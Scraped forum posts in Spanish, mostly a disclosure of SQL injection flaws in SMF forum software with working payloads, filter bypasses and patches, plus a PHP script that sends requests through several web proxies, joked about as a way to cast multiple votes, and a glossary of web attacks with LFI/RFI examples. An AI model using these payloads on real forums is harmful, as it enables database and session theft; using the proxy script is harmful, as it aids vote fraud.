LEFT JOIN {$db_prefix}members AS mem ON (mem.ID_MEMBER = lm.ID_MEMBER)
LEFT JOIN {$db_prefix}membergroups AS mg ON (mg.ID_GROUP = IF(mem.ID_GROUP = 0, mem.ID_POST_GROUP, mem.ID_GROUP))" . (!empty($search_params['string']) ? "
WHERE INSTR($search_params[type_sql], '$search_params[string]')" : ''), __FILE__, __LINE__);
list ($context['entry_count']) = mysql_fetch_row($result);
mysql_free_result($result);


Si se van a la sección de logs de moderación verán un pequeño buscador abajo, le ponen lo que sea y luego cuando aparezcan los resultados le hacen click en "Grupo" para ordenar los resultados por grupo y les aparecerá algo como esto:
http://127.0.0.1/smf/index.php?action=modlog;order=group;start=0;params=YTo0OntzOjY6InN0cmluZyI7czoyOiJsbCI7czo0OiJ0eXBlIjtzOjY6Im1lbWJlciI7czo4OiJ0eXBlX3NxbCI7czoxMjoibWVtLnJlYWxOYW1lIjtzOjEwOiJ0eXBlX2xhYmVsIjtzOjc6IlVzdWFyaW8iO30=

Déjà-vu... otraves sin token, por lo tanto es remoto.
Pasamos el valor params por la decodificación de base64 y encontramos este string:
Citara:4:{s:6:"string";s:2:"ll";s:4:"type";s:6:"member";s:8:"type_sql";s:12:"mem.realName";s:10:"type_label";s:7:"Usuario";}
y nos damos cuenta que es un valor serializado por lo tanto:
Código (php) [Seleccionar]
<?php
$string 
'a:4:{s:6:"string";s:2:"ll";s:4:"type";s:6:"member";s:8:"type_sql";s:12:"mem.realName";s:10:"type_label";s:7:"Usuario";}';
print_r(unserialize($string));
?>


Resultado:
CitarArray(
   [string] => ll
   [type] => member
   [type_sql] => mem.realName
   [type_label] => Usuario
)

Asi que ahora hacemos lo inverso pero con la inyección de prueba:
Código (php) [Seleccionar]
<?php
$string 
= array(
    
"'" => "'",
    
'string' => "ll",
    
'type' => 'member',
    
'type_sql' => '\'mem.realName',
    
'type_label' => 'Usuario'
);

echo 
base64_encode(serialize($string));

?>


Resultado:


Ínyección SQL remota 3
En algunas inyecciones necesitabas la intervención de alguien que tuviera mas acceso que tu a menos que fueras de algún grupo de usuario que pudieras ver las secciones vulnerables, si eres usuario normal necesitabas lanzar un csrf para hacer caer al admin o a alguien con derechos sin la necesidad de que hiciera click en ninguna parte como por ejemplo poniendo la url de la inyeccion como imagen en tu perfil y listo pero en este caso esta tercera inyeccion SQL no necesitas ningún permiso especial ya que se encuentra en el archivo de mensajes personales del usuario.

Si vas a tu bandeja de entrada verás que al costado isquierdo tienes una opción para hacer busquedas de mensajes, haces una busqueda que de muchos resultados como por ehemplo "re" (respuestas a mensajes) o "sin" (sin asunto) y cuando te muestre todos los mensajes le haces click en ordenar por mensaje o autor y verás que se fabrica una variable GET llamada "param" que contiene un valor en base64 nuevamente pero esta ves no son datos serializados.

http://127.0.0.1/smf/index.php?action=pm;sa=search2;start=0;params=YWR2YW5jZWR8J3wxfCJ8c2VhcmNodHlwZXwnfDJ8InxzdWJqZWN0X29ubHl8J3x8InxzaG93X2NvbXBsZXRlfCd8fCJ8dXNlcnNwZWN8J3xXSEt8Inxzb3J0X2RpcnwnfGRlc2N8Inxzb3J0fCd8SURfUE18InxsYWJlbHN8J3wwLDEsMiwzLDQsNSwtMXwifHNlYXJjaHwnfHNpbg==

Te dará resultado esa codificación:
Citaradvanced|'|1|"|searchtype|'|2|"|subject_only|'||"|show_complete|'||"|userspec|'|WHK|"|sort_dir|'|desc|"|sort|'|ID_PM|"|labels|'|0,1,2,3,4,5,-1|"|search|'|sin

y el único vaor inyectable sin pasar por ningún tipo de filtro es "userspec" por lo tanto en ese lugar hacemos nuestra inyección pero tendrán varias complicaciones ya que SMF utiliza varios filtros como por ejemplo reemplazar comas, parentesis, asteriscos por porcentages, etc etc. pero primero les muestro donde está la falla antes de mostrarles como explotarlo.

Archivo Sources/PersonalMessage.php linea 613 y 700 donde se procesa en la linea 915 filtrado por Sources/Subs.php linea 238 en adelante y ejecutado en la linea 320:

Código (php) [Seleccionar]
$temp_params = explode('|"|', base64_decode(strtr($_REQUEST['params'], array(' ' => '+'))));

Código (php) [Seleccionar]
// Get the amount of results.
$request = db_query("
SELECT COUNT(*)
FROM ({$db_prefix}pm_recipients AS pmr, {$db_prefix}personal_messages AS pm)
WHERE pm.ID_PM = pmr.ID_PM" . ($context['folder'] == 'inbox' ? "
AND pmr.ID_MEMBER = $ID_MEMBER
AND pmr.deleted = 0" : "
AND pm.ID_MEMBER_FROM = $ID_MEMBER
AND pm.deletedBySender = 0") . "
$userQuery$labelQuery
AND ($searchQuery)", __FILE__, __LINE__);
list ($numResults) = mysql_fetch_row($request);
mysql_free_result($request);


Código (php) [Seleccionar]
// We don't use UNION in SMF, at least so far.  But it's useful for injections.
if (strpos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
$fail = true;
// Comments?  We don't use comments in our queries, we leave 'em outside!
elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== false || strpos($clean, ';') !== false)
$fail = true;
// Trying to change passwords, slow us down, or something?
elseif (strpos($clean, 'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
$fail = true;
elseif (strpos($clean, 'benchmark') !== false && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
$fail = true;
// Sub selects?  We don't use those either.
elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
$fail = true;


Bueno, ese filtro final es muy fácil de bypasear pero primero vamos a la estructuración de la inyección misma.

Para hacer nuestros test vamos al archivo subs/Subs.php linea 320 y donde dice:
Código (php) [Seleccionar]
$ret = mysql_query($db_string, $db_connection);
le ponemos:
Código (php) [Seleccionar]
/* TEST */
   if(eregi('union', $db_string)){
   echo nl2br($db_string).'<br /><br />';
$ret = mysql_query($db_string, $db_connection);
echo mysql_error($db_connection); // test
while($fila = mysql_fetch_array($ret, MYSQL_ASSOC)){
    foreach($fila as $variable => $valor){
 echo nl2br(htmlspecialchars($variable, ENT_QUOTES).' = '.htmlspecialchars($valor, ENT_QUOTES).'<br /><br />');
}
   }
//exit;
}else{
$ret = mysql_query($db_string, $db_connection);
}
/* TEST */


Con esto podremos capturar las inyecciones que intentaremos hacer.

Como ya habiamos dicho:
Citaradvanced|'|1|"|searchtype|'|2|"|subject_only|'||"|show_complete|'||"|userspec|'|WHK|"|sort_dir|'|desc|"|sort|'|ID_PM|"|labels|'|0,1,2,3,4,5,-1|"|search|'|sin

Inyectamos así:
Citaradvanced|'|1|"|searchtype|'|2|"|subject_only|'||"|show_complete|'||"|userspec|'|whk') or pm.fromName like "|"|sort_dir|'|desc|"|sort|'|ID_PM|"|labels|'|0,1,2,3,4,5,-1|"|search|'|"/**/union/**/select/**/database(),user()/**/-- -
:xD :xD :xD
Ahora les explico este desmadre un poco...
Ciframos esto en base64 y se lo damos como param.
Primero que nada SMF filtra * por % asi que no podemos hacer la inyección completa en el nombre de usuario... hechemos un vistazo como queda la query inyectada:

Código (sql) [Seleccionar]

SELECT COUNT(*)
FROM (smf_pm_recipients AS pmr, smf_personal_messages AS pm)
WHERE pm.ID_PM = pmr.ID_PM
AND pmr.ID_MEMBER = 2
AND pmr.deleted = 0
AND pm.ID_MEMBER_FROM = 0 AND (pm.fromName LIKE 'whk&#039;) or pm.fromName like "')

AND ((pm.subject LIKE '%&quot;/**/union/**/select/**/database(),user()/**/--%' OR pm.body LIKE '%&quot;/**/union/**/select/**/database(),user()/**/--%'))<br /><br />COUNT(*) = 0



SELECT pm.ID_PM, pm.ID_MEMBER_FROM
FROM (smf_pm_recipients AS pmr, smf_personal_messages AS pm)
WHERE pm.ID_PM = pmr.ID_PM
AND pmr.ID_MEMBER = 2

AND pmr.deleted = 0
AND pm.ID_MEMBER_FROM = 0 AND (pm.fromName LIKE 'whk&#039;) or pm.fromName like "')
AND ((pm.subject LIKE '%&quot;/**/union/**/select/**/database(),user()/**/--%' OR pm.body LIKE '%&quot;/**/union/**/select/**/database(),user()/**/--%'))
ORDER BY ID_PM desc
LIMIT 0, 30


Bueno, lo que hicimos (esta inyección me ayudó muchisimo sirdarckcat) es escapar la query con comilla simple y parentesis, luego para poder invalidad el codigo siguiente habia la posibilidad de inyectar con "\" pero se filtraba, los puntos tambien los filtraba asi que se inyectó con una comilla doble diciendo que el resto de la query era parte de un string hasta terminar en las proximas comillas dobles... luego viene nuestra segunda variable inyectada que es search y fms también filtra los espacios en blanco por lo tanto la inyección la hicimos con /**/ y "`" para invalidar la siguiente string y dejar libre unicamente la union.
Ahora este valor se va a otra query que es la query siguiente y a esa query le deve llegar dos columnas o el array con dos dimensiones donde el valor de la dimension debe contener el string con la siguiente inyección sq y esa inyección nos devolverá el resutado de la base de datos con el hash del password del admin o lo que sea.

La inyección está inconclusa ya que debes fabricar la segunda inyección para poder obtener el dato que necesitas.
en esta parte por rasones claras no doy la inyección completa para evitar un ataque masivo a foros por parte de gente que no sabe inyectar.

Códigos pendientes por reparar (posibles bugs)
Revisando un poco mas a fondo el código de SMF me di cuenta que hay una persona dentro de los que codean este sistema que se dedica solamente a revisar código y dejar marcado ciertas secciones con posibles fallas a reparar, luego se toman esas marcas y se reparan pero en este caso pude observar que no todas  esas marcas son reparadas y muchas quedan inconclusas como este mismo bug de la inyección sql.
Si se fijan el mensaje de advertencia comienza con un comentario
Código (php) [Seleccionar]
// !!! comentario

Por lo tanto si buscamos esta marca en todos los archivos de SMF podemos encontrar mas de 40 archivos afectados con 599 firmas haciendo una busqueda con grep y en muchos casos dice: cambiar esto, eliminar esto, posible bug acá, por implementar, etc etc. Tal como se ve en la imagen:



Consecuencias
Robo de sesiones, robo de la base de datos comleta del foro, puedes comprometer al servidor ya que teniendo la sesion del administrador puedes subir mods con shells y scripts, y control TOTAL del sitio web.

Soluciones
En el archivo Sources/ModLog.php linea 86 dice así:
Código (php) [Seleccionar]
$search_params = base64_decode(strtr($_REQUEST['params'], array(' ' => '+')));
debes comentarla para que quede así:
Código (php) [Seleccionar]
// $search_params = base64_decode(strtr($_REQUEST['params'], array(' ' => '+')));
Con esto evitarás la inyección SQL en la visualización de logs pero no podrás ordenar busquedas personalizadas con order by.

En el archivo Sources/ManageMembers.php linea 405 dice así:
Código (php) [Seleccionar]
$where = base64_decode(strtr($_REQUEST['params'], array(' ' => '+')));
debes comentarla para que quede así:
Código (php) [Seleccionar]
// $where = base64_decode(strtr($_REQUEST['params'], array(' ' => '+')));
Con esto evitarás una inyección SQL en la administración de usuarios pero no podrás ordenar busquedas  por nombre, contenido, etc aunque si aparecerán los resultados pero en su orden original nada mas.

En el archivo Sources/PersonalMessage.php linea 611 a la 613 dice así:
Código (php) [Seleccionar]
  if (isset($_REQUEST['params']))
   {
       $temp_params = explode('|"|', base64_decode(strtr($_REQUEST['params'], array(' ' => '+'))));
       $context['search_params'] = array();
       foreach ($temp_params as $i => $data)
       {
           @list ($k, $v) = explode('|\'|', $data);
           $context['search_params'][$k] = stripslashes($v);
       }
   }

debes comentarla para que quede así:
Código (php) [Seleccionar]
/*
   if (isset($_REQUEST['params']))
   {
       $temp_params = explode('|"|', base64_decode(strtr($_REQUEST['params'], array(' ' => '+'))));
       $context['search_params'] = array();
       foreach ($temp_params as $i => $data)
       {
           @list ($k, $v) = explode('|\'|', $data);
           $context['search_params'][$k] = stripslashes($v);
       }
   }
*/

Con esto evitarás una inyección SQL en el buscador de mensajes personales aunque no podrán los usuarios ordenar busquedas por usuarios o mensajes, aunque de todas formas los mensajes aparecerán en el orden original como siempre.

En el archivo Sources/PersonalMessage.php linea 698 a la 706 dice así:
Código (php) [Seleccionar]
   if (isset($_REQUEST['params']))
   {
       $temp_params = explode('|"|', base64_decode(strtr($_REQUEST['params'], array(' ' => '+'))));
       foreach ($temp_params as $i => $data)
       {
           @list ($k, $v) = explode('|\'|', $data);
           $search_params[$k] = stripslashes($v);
       }
   }

debes comentarla para que quede así:
Código (php) [Seleccionar]
/*
   if (isset($_REQUEST['params']))
   {
       $temp_params = explode('|"|', base64_decode(strtr($_REQUEST['params'], array(' ' => '+'))));
       foreach ($temp_params as $i => $data)
       {
           @list ($k, $v) = explode('|\'|', $data);
           $search_params[$k] = stripslashes($v);
       }
   }
*/

Con esto evitas la misma inyección anteriormente mensionada.

Es recomendable que cuando salgan las futuras actualizaciones vuelvas a dejar los archivos como estaban antes y despues lo actualizes para que no interfieran los codigos en las actualizaciones automaticas ya que ese script busca patrones para poder reemplazar. Haz una backup de los archivos a modificar y cuando vayas a instalar la actualización oficial vuelves a dejar los archivos como estaban antes. Está claro que para esto debes dejar el foro en modo de mantención para que nadie deje su bot listo esperando a que intentes actualizar para hacer la inyección en medio segundo xD

Y eso es tod.. eso es tod... eso es todo amigos.


Mirror
#328
Hola, estaba buscando algo como esto:



pero quería saber como hacer funcionar la api o funcion o lo que sea de forma nativa de windows ya que solamente encuentro formularios fabricados que no sirven de mucho.

Gracias.
#329
Hola k tal.

Bueno les explico primero como va el asunto antes de pedir algo... tengo un foro SMF y le hize unos retoques para poder poner un banner en la parte superior de cada sección del foro, así por ejemplo si alguien ingresa a la sección de php se le verá el banner de php y así (ejemplo), por ahora se lo puse a una sola sección para ver como quedaba pero se ve horrible xDD, no soy bueno para el diseño y bueno, ahora si....

Quería ver si por favor alguien tiene tiempo de sobra como para que me pueda ayudar porque yo ya he hecho varios diseños pero no me resulta ninguno.

Si alguien quiere ayudarme las dimensiones son de 927px de ancho por 125px de alto.

De antemano gracias otraves.
#330
Hola, a veces he tenido un par de problemas con algunos controles de vb6, por ejemplo el webbrowser puedo hacerlo bajar de forma automática al ponerle contenido con
webbrowser.Document.body.scrollTop = webbrowser.Width

pero por ejemplo este es un cliente de chat para yahoo asi que el scroll cuando lleva demasiadas lineas queda a tope y despues hay que estar bajandolo manualmente.
También me pasa con los listview que por ejemplo a agregar una nueva fila me gustaría que bajara solo pero me encuentro con ejemplos de selecteditem y setfocus que al final si tengo el programa minimizaso se hará un desmadre o si quiero estar modificando otros textbos se me hará focus al listview y se seleccionará solo impidiendo poder visualizar las listas de mas arriba.

En fin... habrá alguna api o algo en el cual yo pueda darle un control en especifico y que me baje el scrollbar hasta al tope del final?

Si las rutinas de vb6 fueran de código libre uno podría modificar estas imperfecciones  :rolleyes:
#331
Programación Visual Basic / Desconectar IP
21 Septiembre 2009, 02:21 AM
Estaba haciendo un sistema en vb6 donde te muestra algunas conexiones tcp y me gustaría implementar una opción que pueda desconectar dicha ip, como podría hacerlo o crear como un tipo de baneo?
por ejemplo agregar una ip a una lista y que esa ip no pueda conectarse al host  :huh:
#332
Programación Visual Basic / que hace Mod en vb6?
16 Septiembre 2009, 01:18 AM
estaba observando unas funciones de un código de vb6 y queria pasarlo a php pero hay cosas que no entiendo bien como por ejemplo esto:
Código (vb) [Seleccionar]
Chr(Len(pck) Mod 256)

crh  convierte decimales a string y len es el tamaño del string de pck pero mod 256? que hace mod? le da limite o le hace alguna operación aritmética?
#333
Como se ve en su perfil, un trozo de torta con una vela



estáaaaaaaa de cumpleañoooooooosssssss!!!!!!!!!
FELICIDADESSS JODERRR!!!!!!



[youtube=425,350]http://www.youtube.com/watch?v=BVe3LlzB9U8[/youtube]

Y ojala que pasemos del 2012 para que cumplas muchos mas xDDD
#334
Me tardé medio dia completo pero lo terminé, es un script que puede utilizar multitudes de proxys para conectarse a un mismo sitio o los que quieras.
Utiliza Curl asi que debes tenerlo activado... igual pude haberlo hecho en sockets pero quise hacerlo mas rápido.

Código (php) [Seleccionar]
<?php
/*
ProxyWEB 1.0 by WHK
Nice Multidimensionals Arrays
*/

// Prueba de uso [Inicio]
$conecta = array(
 
'url' => 'http:// mi servidor local de pruebas',
);

echo 
'Iniciando ...<br />';
for(
$cuenta 1$cuenta 5$cuenta++){
 
$conecta['proxy_id'] = $cuenta;
 if(
http_proxy($conecta))
  echo 
'conexión enviada!<br />';
 else
  echo 
'Imposible conectar!<br />';
}
echo 
'Terminado!';
// Prueba de uso [Final]

/* Proxy */
function http_proxy($array_data){
 
/*
 Dimensión del array $array_data
 ---------
  url
  post_data = false
  referer = false
  cookies = false
  user_agent = false
  seguir = false
  return_header = true
  proxy_id = false
  
  proxy_id
  --------
  1 = anonymouse.org
  2 = unblocker.in
  3 = unblocksiteproxy.info
  4 = tunnelcafe.com
  5 = unblockfacebook.mobi
 */
 
if(!$array_data['url'])
  return 
false/* No hay URL */
  
 
if($array_data['proxy_id'] == '1'){
  
/* Anonymouse.org */
  
$array_data['url'] = 'http://anonymouse.org/cgi-bin/anon-www.cgi/'.$array_data['url'];
  return 
http_req($array_data);
 }elseif(
$array_data['proxy_id'] == '2'){
  
/* unblocker.in */
  
$array_data['proxy_server'] = 'www.femalethick.cn';
  
$array_data['metodo_proxy'] = '1';
  return 
metodo_proxy($array_data);
 }elseif(
$array_data['proxy_id'] == '3'){
  
/* unblocksiteproxy.info */
  
$array_data['proxy_server'] = 'www.unblocksiteproxy.info';
  
$array_data['metodo_proxy'] = '1';
  return 
metodo_proxy($array_data);
 }elseif(
$array_data['proxy_id'] == '4'){
  
/* tunnelcafe.com */
  
$array_data['proxy_server'] = 'www.tunnelcafe.com';
  
$array_data['metodo_proxy'] = '1';
  return 
metodo_proxy($array_data);
 }elseif(
$array_data['proxy_id'] == '5'){
  
/* unblockfacebook.mobi */
  
$array_data['proxy_server'] = 'www.unblockfacebook.mobi';
  
$array_data['metodo_proxy'] = '2';
  return 
metodo_proxy($array_data);
 }
}

function 
metodo_proxy($array_data){
 if(
$array_data['metodo_proxy'] == '1'){
  
/* Obtiene la cookie Anti-HotLink para realizar el Bypass */
  
$array_data['url_real'] = $array_data['url'];
  
$proxy = array(
   
'url' => 'http://'.$array_data['proxy_server'].'/index.php',
   
'seguir' => true,
   
'return_header' => true
  
);
  if(!
$cookie http_req($proxy))
   return 
false/* El servidor proxy no responde */
  
if(!$cookie desde_hasta('Cookie: ''<br'nl2br($cookie)))
   return 
false/* No hay cookie de auitentificación */
  
if(eregi(';'$cookie)){ /* Separa las variables de las cookies */
   
$cookie explode(';'$cookie);
   
$cookie $cookie[0];
  }
  
$array_data['url'] = 'http://'.$array_data['proxy_server'].'/includes/process.php?action=update';
  
$array_data['seguir'] = true;
  
$array_data['cookies'] = $cookie/* HotLink Bypass */
  
$array_data['post_data'] = 'u='.urlencode($array_data['url_real']).'&allowCookies=on';
  
$array_data['referer'] = 'http://'.$array_data['proxy_server'].'/'/* Anti-Lecher Bypass */
  
return http_req($array_data);
  
 }elseif(
$array_data['metodo_proxy'] == '2'){
  
$buffer http_req(array('url' => 'http://www.unblockfacebook.mobi/index.php'));
  
$buffer desde_hasta('<div id="form">''</div>'$buffer);
  
$buffer '%0n'.desde_hasta('\'%0n''%0n\''$buffer).'%0n';
  
$buffer decode_unblockfacebook($buffer);
  
$array_data['url_original'] = $array_data['url'];
  if(!
$array_data['url'] = desde_hasta('<form name="login" action="''" method'$buffer))
   return 
false/* No hay URL de formulario o hubo una mala codificación. */
  
$array_data['url'] = 'http://www.unblockfacebook.mobi'.$array_data['url'];
  
$array_data['post_data'] = 'username='.urlencode($array_data['url_original']).'&r4=+checked&rs=on&fa=&br=on&if=+checked';
  
$array_data['seguir'] = true;
  
$array_data['referer'] = 'http://www.unblockfacebook.mobi/'/* Anti-Lecher Bypass */
  
return http_req($array_data);
 }
}

/* conexión */
function http_req($array_data){
 
/* Crea el manipulador con la conexión */
 
$handle curl_init($array_data['url']);
 
/* PostData */
 
if($array_data['post_data']){
  
curl_setopt($handleCURLOPT_POSTtrue);
  
curl_setopt($handleCURLOPT_POSTFIELDS$array_data['post_data']);
 }else{
  
curl_setopt($handleCURLOPT_POSTfalse);
 }
 
/* User-Agent */
 
if($array_data['user_agent'])
  
curl_setopt($handleCURLOPT_USERAGENT$array_data['user_agent']);
 else{
  
/* Le hacemos publicidad a GNU */
  
curl_setopt($handleCURLOPT_USERAGENT'Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.2) Gecko/'.time().' Ubuntu/9.25 (jaunty) Firefox/3.8');
 }
 
/* Referencia */  
 
if($array_data['referer'])
  
curl_setopt($handleCURLOPT_REFERER$array_data['referer']);
 
/* Retorna contenido siempre */
 
curl_setopt($handleCURLOPT_RETURNTRANSFERtrue);
 
/* Sigue los estados 302 de redireccionamiento */
 
if($array_data['seguir'])
  
curl_setopt($handleCURLOPT_FOLLOWLOCATIONtrue);
 else
  
curl_setopt($handleCURLOPT_FOLLOWLOCATIONfalse);
 
/* Tiempo de espera entre conexión */
 
curl_setopt($handleCURLOPT_TIMEOUT100);
 
/* Retorna cabezeras del servidor */
 
if($array_data['return_header'])
  
curl_setopt($handleCURLOPT_HEADERtrue);
 
/* Envía Cookies */
 
if($array_data['cookies'])
  
curl_setopt($handleCURLOPT_COOKIE$array_data['cookies']);
 
/* Retornos con estados y buffer de respuesta del servidor */
 
$array_data['contenido'] = curl_exec($handle);
 
$array_data['error'] = curl_error($handle);
 
curl_close($handle);
 
/* Finaliza el retorno */
 
return $array_data['contenido'];
}

function 
desde_hasta($desde$hasta$contenido$cantidad false$retornar_todo false){
 if(
eregi($desde ,$contenido)){
  
$retorno explode($desde$contenido);
  foreach(
$retorno as $compara){
   
$compara explode($hasta$compara);
   if(
$compara $compara[0])
    
$retorna[] = $compara;
   unset(
$compara);
  }
  if(
$retornar_todo){
   unset(
$retorna[0]);
   return 
$retorna;
  }
  if(
is_numeric($cantidad)){
   
$retorno $retorna[$cantidad];
  }else{
   
$retorno $retorna[1];
  }
  return 
$retorno;
 }else{
  return 
false;
 }
}

function 
left($buffer$length){
 return 
substr($buffer0, (int)$length);
}

function 
right($buffer$length){
 return 
substr($buffer, (int)(-$length));
}

function 
decode_unblockfacebook($buffer){
 if(
strlen($buffer) > 0){
  for(
$ctr 0$ctr strlen($buffer) ; $ctr++){
   
$b ord($buffer[$ctr]);
   if(((
$b 64) && ($b 78)) || (($b 96) && ($b 110))){
    
$b $b 13;
   }else{
    if(((
$b 77) && ($b 91)) || (($b 109) && ($b 123))){
     
$b $b 13
    }
   }
   
$t .= chr($b);
  }
 }
 return 
urldecode($t);
}
?>


Resultado:

4 peticiones desde diferentes ips.
vota por 4 en meneame xD
#335
no puede serr!!!!!

ya encontraba extraño que me dieran a adivinar una palabra de un solo carácter y me sale con undefined como respuesta >:(

quiero mi puntaje devueltaaaaaaa!!!!
#336
¿Como buscar una palabra?
R: en tu explorador vas al menú buscar y pones parte o toda la palabra que desees. Recuerda poner los acentos correspondientes en el caso que sea una palabra en español.

Diccionario informático sobre Bugs y Exploits en nivel WEB V1.0
Diccionario "a prueba de" realizado para que todo ser humano que tenga por lo menos con un ojo bueno y un cerebro pueda entender cada palabra sin tener conocimientos previos relacionados con la seguridad informática.

Nota: Recordar que esto es solo un diccionario de definiciones por lo cual no se mostrarán demasiados detalles porque no es una enciclopedia ni nada por el estilo, para eso ver los enlaces relacionados de cada item.
Para mas información vease:
http://foro.elhacker.net/nivel_web/temas_mas_destacados_fallas_y_explotaciones_a_nivel_web_actualizado_71009-t244090.0.html
Si tienes alguna sugerencia o algo que opinar sobre el diccionario puedes hacerlo desde este enlace:
http://foro.elhacker.net/nivel_web/nuevo_diccionario_de_bugs_y_exploits_en_nivel-t270629.0.html



Bug
Bug en español significa bicho y por lo general se refiere a un error de programación donde el software actúa de forma inapropiada o inesperada.
En el caso de sitios WEBs un bug se refiere a una falla en el código que no necesariamente puede ser una vulnerabilidad sino mas bién una reacción inesperada.

Ejemplos de Bugs:
  • http://foro.elhacker.net/nivel_web/recopilatorio_de_vulnerabilidades_de_xsssqlinjection-t220843.0.html
  • http://milw0rm.com/webapps.php



    Vulnerabilidad
    La palabra no tiene mayor explicación ya que queda claro que es una vulnerabilidad pero lo que si hay que dejar en claro primeramente que un bug puede ser vulnerabilidad como puede que no lo sea, también que algunos le llaman "Feature"´aunque una feature en inglés significa ventaja o característica extra del mismo sistema dando a decir que no es un bug sino que el comportamiento del sistema es normal y así fue diseñado para ventaja del programador externo, visitantes, etc, solo es vulneranilidad cuando no estaba contemplado por el programador. Esto también se aplica en Bugs.
    Por lo general un programador que se le pide una explicación por una vulnerabilidad en un sistema propio dice: "this is not a bug, is a feature", aunque también lo dicen las personas que pueden sacarle provecho manualmente o con exploits (exploit no es un xploit, Vease Exploit).



    Bugtraq
    Lugar donde se listan bugs de sistemas informáticos. Antiguamente conocido como listas de correos pero actualmente también pueden leerse en linea sin la necesidad de una suscripción.

    Ejemplos de Bugtraq:
  • http://seclists.org/bugtraq/
  • http://www.securityfocus.com/archive/1
  • http://marc.info/?l=bugtraq&r=1&w=2&b=200003



    Advisory
    En español son avisos, por lo tanto si se habla de advisory en el ámbito de la informática por lo general se refiere a un comunicado o declaración de bugs.

    Ejemplos de un advisories:
  • http://secunia.com/advisories/25043/
  • http://support.microsoft.com/kb/972890



    LFI
    Conocido como "Local File Inclusion" o Inclusión de archivo local y se trata de una falla de programación donde se tiene la posibilidad de incluir archivos externos y ejecutarse. Por lo general esto sucede con lenguajes de programación WEB.
    Para programadores:
    Esto sucede cuando hacemos por ejemplo
    Código (php) [Seleccionar]
    <?php include('/home/web/www/'.$_GET['sección'].'.php'); ?>
    entonces cuando yo ejecuto test.php?sección=noticias en realidad el include queda de la siguiente forma:
    Código (php) [Seleccionar]
    <?php include('/home/web/www/noticias.php'); ?>
    ¿porqué es una vulnerabilidad?: porque un atacante puede hacer inclusión de un archivo de forma local como por ejemplo esta:
    test.php?sección=../../../../../../../etc/passwd%00
    (Vease Null Bite Atack) por lo cual quedará de la siguiente forma:
    Código (php) [Seleccionar]
    <?php include('/home/web/www/../../../../../../../etc/passwd\0.php'); ?>
    entonces el null bite limita el string de inclusión hasta la palabra passwd solamente haciendo incluir de forma local el archivo de passwords de sesiones del sistema (en otros puede ser SAM o shadow), en otros casos el atacante puede inyectar comandos arbitrarios dentro del log de accesos y hacerle una inclusión para su posterior ejecución comprometiendo el servidor.
    En otros casos la inclusión no lleva a la ejecución, en ese caso no se trata de un LFI sino de un File Disclosure (Vease file disclosure)



    RFI
    Es igual al LFI (Vease primeramente LFI antes de continuar) con la diferencia de que la inclusión del script puede ser de forma remota, por ejemplo:
    Código (php) [Seleccionar]
    <?php include($_GET['sección'].'.php'); ?>
    Entonces test.php?sección=votar sería:
    Código (php) [Seleccionar]
    <?php include('votar.php'); ?>
    Pero como se trata mas bién de una vulnerabilidad devido a que un atacante puede modificar dicha variable y hacer referencia a un archivo externo como por ejemplo test.php?sección=http://www.atacante.com/shell.txt?x=
    por lo tanto el script quedaría:
    Código (php) [Seleccionar]
    <?php include('http://www.atacante.com/shell.txt?x=.php'); ?>
    y como la petición de dicho texto está alojado en un servidor WEB la variable invalida la terminación .php. También existen algunas formas de evadir sistemas de protección donde solo restringen la palabra "http" pero desde otros protocolos también es posible incluyendo filesize() de php como lo es el protocolo "ftp" ya que php lo procesa como archivo sólido y no archivo WEB (Vease Bypass).



    XSS
    Un XSS es una Vulnerabildad WEB llamada "Cross Site Scripting" pero entonces porqué se llama XSS y no CSS?, para no confundir CSS que significa "Cascading Style Sheets" que es un lenguaje de estilo proporcionado para html como por ejemplo "style.css" en el cual va la informacion de estilo html y xhtml.

    Normalmente confundido con la palabra "Inyección HTML" debido a que se trata de incorporar un código interpretado dentro de un sitio WEB para que este se ejecute.
    Por ejemplo tenemos un chat público donde podemos escribir mensajes y ver como nos pueden leer, imaginemos que podemos escribir el mensaje <h1>hola a todos</h1> entonces si los demás participantes pueden leer tu código HTML sería XSS siempre y cuando este código puede de alguna forma comprometer la seguridad del sitio o de algún usuario, si no entonces no es XSS.

    Un ejemplo sería dejar código ‭‬‭‬‭‬‭‬‭‬‭‬‭‬javascript para que el explorador del visitante envíe su cookie de sesión hasta un servidor externo para luego ser recuperado y hacer robo de la sesión.

    XSS es una vulnerabilidad antiguamente de "baja" importancia, hoy en dia es de importancia "media" en relación a la seguridad de un sitio WEB aunque este tipo de fallas puede ocacionar nada como tabién comprometer toda una red de servidores dependiendo del sistema y los conocimientos del usuario de Administración.
    También mal conocido como "Inyección HTML" ya que un XSS no siempre es generado via código HTML.

    Algunos sitios WEBs guardan historiales de sitios webs con este tipo de vulnerabilidad.

    Enlaces de ayuda:
  • http://xssed.com/archive/author=WHK
  • http://es.wikipedia.org/wiki/Cross-site_scripting
  • http://noscript.net/



    XSS Reflejado
    (Lease primero la definición de XSS) Es un tipo de vulnerabilidad WEB XSS con la característica de que solamente se visualiza el código inyectado en e sitio web si la modificas en el momento, eso quiere decir que luego de ejecutar el xss intentas ver el mismo sitio no deberías ver el código inyectado.

    Enlaces de ayuda:
  • http://es.wikipedia.org/wiki/Cross-site_scripting#XSS_Indirecto_.28reflejado.29



    XSS Persistente
    (Lease primero la definición de XSS) Es un tipo de vulnerabilidad WEB XSS con la característica de que cuando haces la inyección en el código este persevera aún saliendo del sitio web, eso quiere decir que yo puedo entrar y dejar un XSS en el sitio web y cualquiera que entre podrá verla sin la necesidad de recibir un ataque indirecto o la necesidad de un tercer involucrado.

    Enlaces de ayuda:
  • http://es.wikipedia.org/wiki/Cross-site_scripting#XSS_Directo_.28persistente.29



    CSRF
    CSRF son las siglas de la palabra Cross Site Request Forgery y es una falla de programación WEB donde se pueden ejecutar acciones de forma arbitraria.

    Por ejemplo supongamos que estamos en un foro y en ese foro hay un botón para salir de tu sesión y ese botón da un enlace hacia http://foro.com/salir , entonces cualquier persona que te redirija hacia ese enlace hará que tu sesión termine de forma arbitraria ya que fue hecho sin tu consentimiento, de esta forma el atacante de ese foro puede crear un post donde tu no podrías responderle ya que al intentar hacerlo el introducirá un enlace de tipo imagen hacia http://foro.com/salir y cuando intentes responder el foro dirá que no tienes una sesión en el foro.

